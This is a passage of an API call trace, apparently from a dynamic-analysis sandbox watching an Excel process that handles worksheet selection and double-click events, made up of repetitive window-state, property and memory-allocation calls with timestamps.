nIndex=-6) returned 0x0 [0139.945] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0139.945] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0139.945] IsWindowEnabled (hWnd=0x202b0) returned 0 [0139.945] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0139.945] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0139.945] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0139.945] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0139.945] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0139.945] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0139.945] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0139.946] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0139.946] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0139.946] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0139.946] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0139.946] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0139.946] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0139.946] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0139.946] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0139.946] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0139.946] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0139.946] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0139.946] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0139.946] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0139.946] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0139.946] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb92020 [0139.947] IMalloc:Free (This=0x7feffc15380, pv=0xbb92020) [0143.075] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x820000035b | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x820000035b) returned 0x0 [0143.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0143.076] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0143.076] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0143.076] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0143.077] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0143.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0143.077] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0143.077] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0143.077] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0143.091] GetCurrentThreadId () returned 0x8fc [0143.091] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0143.091] GetDesktopWindow () returned 0x10010 [0143.091] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0143.091] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0143.092] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0143.092] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0143.092] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0143.092] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0143.092] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0143.092] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0143.092] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0143.092] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0143.092] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0143.092] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0143.092] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0143.092] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0143.092] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0143.092] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0143.092] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0143.092] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0143.092] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0143.092] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0143.092] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0143.092] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0143.092] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0143.092] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0143.092] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0143.092] IsWindowEnabled (hWnd=0x202b0) returned 1 [0143.092] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0143.093] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0143.093] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0143.093] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0143.093] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0143.093] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0143.093] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0143.093] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0143.093] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0143.093] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0143.093] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0143.093] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0143.093] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0143.093] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0143.093] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0143.093] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0143.093] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0143.093] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0143.093] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0143.093] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0143.093] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0143.094] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb92e60 [0143.094] IMalloc:Free (This=0x7feffc15380, pv=0xbb92e60) [0143.485] GetAsyncKeyState (vKey=27) returned 0 [0143.485] GetCurrentThreadId () returned 0x8fc [0143.485] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0143.485] GetDesktopWindow () returned 0x10010 [0143.485] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0143.485] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0143.486] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0143.486] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0143.486] GetWindowLongPtrA (hWnd=0x10021c, nIndex=-6) returned 0x7feef2c0000 [0143.486] GetWindowLongPtrA (hWnd=0x10021c, nIndex=-6) returned 0x7feef2c0000 [0143.486] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0143.486] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0143.486] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0143.486] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0143.486] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0143.486] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0143.486] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0143.486] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0143.486] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0143.486] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0143.486] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0143.486] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0143.486] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0143.486] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0143.486] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0143.486] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0143.487] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0143.487] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0143.487] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0143.487] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0143.487] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0143.487] IsWindowEnabled (hWnd=0x202b0) returned 0 [0143.487] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0143.487] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0143.487] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0143.487] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0143.487] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0143.487] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0143.487] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0143.487] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0143.487] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0143.487] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0143.487] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0143.488] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0143.488] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0143.488] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0143.488] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0143.488] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0143.488] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0143.488] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0143.488] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0143.488] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0143.488] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0143.488] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb92b40 [0143.488] IMalloc:Free (This=0x7feffc15380, pv=0xbb92b40) [0146.697] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x9c000000d6 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x9c000000d6) returned 0x0 [0146.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0146.697] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0146.697] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0146.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0146.698] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0146.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0146.698] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0146.698] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0146.698] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0146.712] GetCurrentThreadId () returned 0x8fc [0146.712] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0146.712] GetDesktopWindow () returned 0x10010 [0146.712] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0146.712] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0146.712] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0146.712] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0146.713] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0146.713] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0146.713] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0146.713] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0146.713] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0146.713] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0146.713] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0146.713] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0146.713] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0146.713] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0146.713] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0146.713] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0146.713] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0146.713] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0146.713] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0146.713] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0146.713] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0146.713] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0146.713] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0146.713] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0146.713] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0146.713] IsWindowEnabled (hWnd=0x202b0) returned 1 [0146.713] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0146.713] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0146.714] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0146.714] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0146.714] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0146.714] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0146.714] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0146.714] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0146.714] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0146.714] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0146.714] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0146.714] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0146.714] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0146.714] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0146.714] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0146.714] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0146.714] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0146.714] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0146.714] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0146.715] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0146.715] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0146.715] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x4d0a540 [0146.715] IMalloc:Free (This=0x7feffc15380, pv=0x4d0a540) [0147.103] GetAsyncKeyState (vKey=27) returned 0 [0147.103] GetCurrentThreadId () returned 0x8fc [0147.103] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0147.103] GetDesktopWindow () returned 0x10010 [0147.103] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0147.103] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0147.103] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0147.103] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0147.103] GetWindowLongPtrA (hWnd=0xf02c6, nIndex=-6) returned 0x7feef2c0000 [0147.104] GetWindowLongPtrA (hWnd=0xf02c6, nIndex=-6) returned 0x7feef2c0000 [0147.104] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0147.104] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0147.104] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0147.104] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0147.104] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0147.104] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0147.104] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0147.104] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0147.104] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0147.104] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0147.104] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0147.104] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0147.104] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0147.104] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0147.104] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0147.104] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0147.104] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0147.104] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0147.104] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0147.104] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0147.104] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0147.105] IsWindowEnabled (hWnd=0x202b0) returned 0 [0147.105] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0147.105] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0147.105] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0147.105] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0147.105] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0147.105] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0147.105] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0147.105] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0147.105] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0147.105] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0147.105] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0147.105] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0147.105] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0147.105] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0147.106] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0147.106] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0147.106] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0147.106] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0147.106] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0147.106] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0147.106] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0147.106] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x24aced0 [0147.106] IMalloc:Free (This=0x7feffc15380, pv=0x24aced0) [0150.308] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0150.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0150.309] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0150.309] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0150.309] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0150.318] GetCurrentThreadId () returned 0x8fc [0150.318] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0150.318] GetDesktopWindow () returned 0x10010 [0150.318] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0150.318] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0150.318] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0150.318] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0150.319] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0150.319] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0150.319] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0150.319] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0150.319] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0150.319] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0150.319] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0150.319] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0150.319] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0150.319] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0150.319] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0150.319] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0150.319] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0150.319] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0150.319] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0150.319] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0150.319] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0150.319] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0150.319] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0150.319] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0150.319] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0150.319] IsWindowEnabled (hWnd=0x202b0) returned 1 [0150.319] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0150.319] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0150.320] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0150.320] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0150.320] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0150.320] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0150.320] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0150.320] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0150.320] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0150.320] GetWindowLongPtrA 